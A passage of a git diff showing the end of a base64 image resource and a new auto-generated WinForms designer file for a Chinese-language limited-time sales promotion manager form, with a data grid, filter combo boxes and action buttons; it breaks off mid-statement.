AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.Designer.cs new file mode 100644 index 0000000..7882d6d --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesManagerActiveForm.Designer.cs @@ -0,0 +1,576 @@ + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class LimitedSalesManagerActiveForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvActive = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colActivityId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colActivityName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPreStartTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStartTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colEndTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrefereType = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colActiveState = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.txtProID = new System.Windows.Forms.TextBox(); + this.cmbType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.comboItem6 = new DevComponents.Editors.ComboItem(); + this.comboItem7 = new DevComponents.Editors.ComboItem(); + this.comboItem8 = new DevComponents.Editors.ComboItem(); + this.comboItem9 = new DevComponents.Editors.ComboItem(); + this.cmbActState = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.comboItem1 = new DevComponents.Editors.ComboItem(); + this.comboItem2 = new DevComponents.Editors.ComboItem(); + this.comboItem3 = new DevComponents.Editors.ComboItem(); + this.comboItem4 = new DevComponents.Editors.ComboItem(); + this.comboItem5 = new DevComponents.Editors.ComboItem(); + this.txtActivity = new System.Windows.Forms.TextBox(); + this.btnReload = new DevComponents.DotNetBar.PanelEx(); + this.btnEdit = new DevComponents.DotNetBar.PanelEx(); + this.btnInvalid = new DevComponents.DotNetBar.PanelEx(); + this.btnDelete = new DevComponents.DotNetBar.PanelEx(); + this.btnSearch = new DevComponents.DotNetBar.PanelEx(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.lblLimit = new System.Windows.Forms.Label(); + this.lblActivity = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvActive)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvActive); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1021, 417); + this.splitContainer2.SplitterDistance = 387; + this.splitContainer2.TabIndex = 10; + // + // dgvActive + // + this.dgvActive.AllowUserToAddRows = false; + this.dgvActive.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvActive.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvActive.BackgroundColor = System.Drawing.Color.White; + this.dgvActive.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvActive.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvActive.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvActive.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colActivityId, + this.colActivityName, + this.colPreStartTime, + this.colStartTime, + this.colEndTime, + this.colPrefereType, + this.colActiveState, + this.colMessage}); + this.dgvActive.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvActive.Location = new System.Drawing.Point(4, 0); + this.dgvActive.Name = "dgvActive"; + this.dgvActive.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvActive.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvActive.RowTemplate.Height = 23; + this.dgvActive.Size = new System.Drawing.Size(1013, 387); + this.dgvActive.TabIndex = 6; + this.dgvActive.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvActive_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 40; + // + // colActivityId + // + this.colActivityId.HeaderText = "活动Id"; + this.colActivityId.Name = "colActivityId"; + this.colActivityId.ReadOnly = true; + this.colActivityId.Visible = false; + // + // colActivityName + // + this.colActivityName.HeaderText = "活动名称"; + this.colActivityName.Name = "colActivityName"; + this.colActivityName.ReadOnly = true; + this.colActivityName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // colPreStartTime + // + this.colPreStartTime.HeaderText = "预热开始时间"; + this.colPreStartTime.Name = "colPreStartTime"; + this.colPreStartTime.ReadOnly = true; + this.colPreStartTime.Width = 130; + // + // colStartTime + // + this.colStartTime.HeaderText = "活动开始时间"; + this.colStartTime.Name = "colStartTime"; + this.colStartTime.ReadOnly = true; + this.colStartTime.Width = 130; + // + // colEndTime + // + this.colEndTime.HeaderText = "活动结束时间"; + this.colEndTime.Name = "colEndTime"; + this.colEndTime.ReadOnly = true; + this.colEndTime.Width = 130; + // + // colPrefereType + // + this.colPrefereType.HeaderText = "优惠类型"; + this.colPrefereType.Name = "colPrefereType"; + this.colPrefereType.ReadOnly = true; + this.colPrefereType.Width = 85; + // + // colActiveState + // + this.colActiveState.HeaderText = "活动状态"; + this.colActiveState.Name = "colActiveState"; + this.colActiveState.ReadOnly = true; + this.colActiveState.Width = 85; + // + // colMessage + // + this.colMessage.HeaderText = "消息提示"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 250; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(651, 7); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 17); + this.label1.TabIndex = 5; + this.label1.Text = "label1"; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1021, 26); + this.statusBar.TabIndex = 4; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.txtProID); + this.splitContainer1.Panel1.Controls.Add(this.cmbType); + this.splitContainer1.Panel1.Controls.Add(this.cmbActState); + this.splitContainer1.Panel1.Controls.Add(this.txtActivity); + this.splitContainer1.Panel1.Controls.Add(this.btnReload); + this.splitContainer1.Panel1.Controls.Add(this.btnEdit); + this.splitContainer1.Panel1.Controls.Add(this.btnInvalid); + this.splitContainer1.Panel1.Controls.Add(this.btnDelete); + this.splitContainer1.Panel1.Controls.Add(this.btnSearch); + this.splitContainer1.Panel1.Controls.Add(this.label3); + this.splitContainer1.Panel1.Controls.Add(this.label2); + this.splitContainer1.Panel1.Controls.Add(this.lblLimit); + this.splitContainer1.Panel1.Controls.Add(this.lblActivity); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1021, 459); + this.splitContainer1.SplitterDistance = 38; + this.splitContainer1.TabIndex = 11; + // + // txtProID + // + this.txtProID.Location = new System.Drawing.Point(470, 7); + this.txtProID.Name = "txtProID"; + this.txtProID.Size = new System.Drawing.Size(95, 23); + this.txtProID.TabIndex = 481; + // + // cmbType + // + this.cmbType.DisplayMember = "Text"; + this.cmbType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbType.FormattingEnabled = true; + this.cmbType.ItemHeight = 18; + this.cmbType.Items.AddRange(new object[] { + this.comboItem6, + this.comboItem7, + this.comboItem8, + this.comboItem9}); + this.cmbType.Location = new System.Drawing.Point(348, 6); + this.cmbType.Name = "cmbType"; + this.cmbType.Size = new System.Drawing.Size(75, 24); + this.cmbType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbType.TabIndex = 520; + // + // comboItem6 + // + this.comboItem6.Text = "全部"; + // + // comboItem7 + // + this.comboItem7.Text = "打折"; + this.comboItem7.Value = "3"; + // + // comboItem8 + // + this.comboItem8.Text = "直降"; + this.comboItem8.Value = "2"; + // + // comboItem9 + // + this.comboItem9.Text = "一口价"; + this.comboItem9.Value = "1"; + // + // cmbActState + // + this.cmbActState.DisplayMember = "Text"; + this.cmbActState.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbActState.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbActState.FormattingEnabled = true; + this.cmbActState.ItemHeight = 18; + this.cmbActState.Items.AddRange(new object[] { + this.comboItem1, + this.comboItem2, + this.comboItem3, + this.comboItem4, + this.comboItem5}); + this.cmbActState.Location = new System.Drawing.Point(218, 6); + this.cmbActState.Name = "cmbActState"; + this.cmbActState.Size = new System.Drawing.Size(75, 24); + this.cmbActState.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbActState.TabIndex = 520; + // + // comboItem1 + // + this.comboItem1.Text = "全部"; + // + // comboItem2 + // + this.comboItem2.Text = "未开始"; + this.comboItem2.Value = "0"; + // + // comboItem3 + // + this.comboItem3.Text = "进行中"; + this.comboItem3.Value = "1"; + // + // comboItem4 + // + this.comboItem4.Text = "已结束"; + this.comboItem4.Value = "2"; + // + // comboItem5 + // + this.comboItem5.Text = "已失效"; + this.comboItem5.Value = "3"; + // + // txtActivity + // + this.txtActivity.Location = new System.Drawing.Point(66, 7); + this.txtActivity.Name = "txtActivity"; + this.txtActivity.Size = new System.Drawing.Size(95, 23); + this.txtActivity.TabIndex = 481; + // + // btnReload + // + this.btnReload.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnReload.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnReload.DisabledBackColor = System.Drawing.Color.Empty; + this.btnReload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnReload.Location = new System.Drawing.Point(577, 7); + this.btnReload.Name = "btnReload"; + this.btnReload.Size = new System.Drawing.Size(75, 23); + this.btnReload.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnReload.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnReload.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnReload.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnReload.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnReload.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnReload.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(8)))), ((int)(((byte)(55)))), ((int)(((byte)(114))))); + this.btnReload.Style.GradientAngle = 90; + this.btnReload.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnReload.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnReload.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnReload.TabIndex = 575; + this.btnReload.Text = "重填"; + this.btnReload.Click += new System.EventHandler(this.btnReload_Click); + // + // btnEdit + // + this.btnEdit.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnEdit.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnEdit.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnEdit.DisabledBackColor = System.Drawing.Color.Empty; + this.btnEdit.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnEdit.Location = new System.Drawing.Point(767, 7); + this.btnEdit.Name = "btnEdit"; + this.btnEdit.Size = new System.Drawing.Size(80, 23); + this.btnEdit.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnEdit.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnEdit.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnEdit.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnEdit.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnEdit.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnEdit.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnEdit.Style.GradientAngle = 90; + this.btnEdit.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnEdit.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnEdit.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnEdit.TabIndex = 559; + this.btnEdit.Text = "编辑"; + this.btnEdit.Visible = false; + this.btnEdit.Click += new System.EventHandler(this.btnEdit_Click); + // + // btnInvalid + // + this.btnInvalid.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnInvalid.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnInvalid.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnInvalid.DisabledBackColor = System.Drawing.Color.Empty; + this.btnInvalid.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnInvalid.Location = new System.Drawing.Point(935, 7); + this.btnInvalid.Name = "btnInvalid"; + this.btnInvalid.Size = new System.Drawing.Size(75, 23); + this.btnInvalid.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnInvalid.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnInvalid.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnInvalid.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnInvalid.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnInvalid.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnInvalid.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(8)))), ((int)(((byte)(55)))), ((int)(((byte)(114))))); + this.btnInvalid.Style.GradientAngle = 90; + this.btnInvalid.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnInvalid.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnInvalid.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnInvalid.TabIndex = 546; + this.btnInvalid.Text = "失效"; + this.btnInvalid.Click += new System.EventHandler(this.btnInvalid_Click); + // + // btnDelete + // + this.btnDelete.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnDelete.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnDelete.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnDelete.DisabledBackColor = System.Drawing.Color.Empty; + this.btnDelete.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnDelete.Location = new System.Drawing.Point(851, 7); + this.btnDelete.Name = "btnDelete"; + this.btnDelete.Size = new System.Drawing.Size(80, 23); + this.btnDelete.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnDelete.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelete.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelete.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnDelete.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnDelete.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnDelete.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnDelete.Style.GradientAngle = 90; + this.btnDelete.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnDelete.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnDelete.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnDelete.TabIndex = 536; + this.btnDelete.Text = "删除"; + this.btnDelete.Click += new System.EventHandler(this.btnDelete_Click); + // + // btnSearch + // + this.btnSearch.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSearch.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSearch.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSearch.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSearch.Location = new System.Drawing.Point(656, 7); + this.btnSearch.Name = "btnSearch"; + this.btnSearch.Size = new System.Drawing.Size(80, 23); + this.btnSearch.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearch.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSearch.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSearch.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSearch.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSearch.Style.GradientAngle = 90; + this.btnSearch.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearch.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSearch.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSearch.TabIndex = 536; + this.btnSearch.Text = "查询/刷新"; + this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(428, 10); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(45, 17); + this.label3.TabIndex = 517; + this.label3.Text = "商品ID"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(163, 10); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(56, 17); + this.label2.TabIndex = 521; + this.label2.Text = "活动状态"; + // + // lblLimit + // + this.lblLimit.AutoSize = true; + this.lblLimit.Location = new System.Drawing.Point(295, 10); + this.lblLimit.Name = "lblLimit"; + this.lblLimit.Size = new System.Drawing.Size(56, 17); + this.lblLimit.TabIndex = 517; + this.lblLimit.Text = "优惠类型"; + // + // lblActivity + // + this.lblActivity.AutoSize = true; + this.lblActivity.Location = new 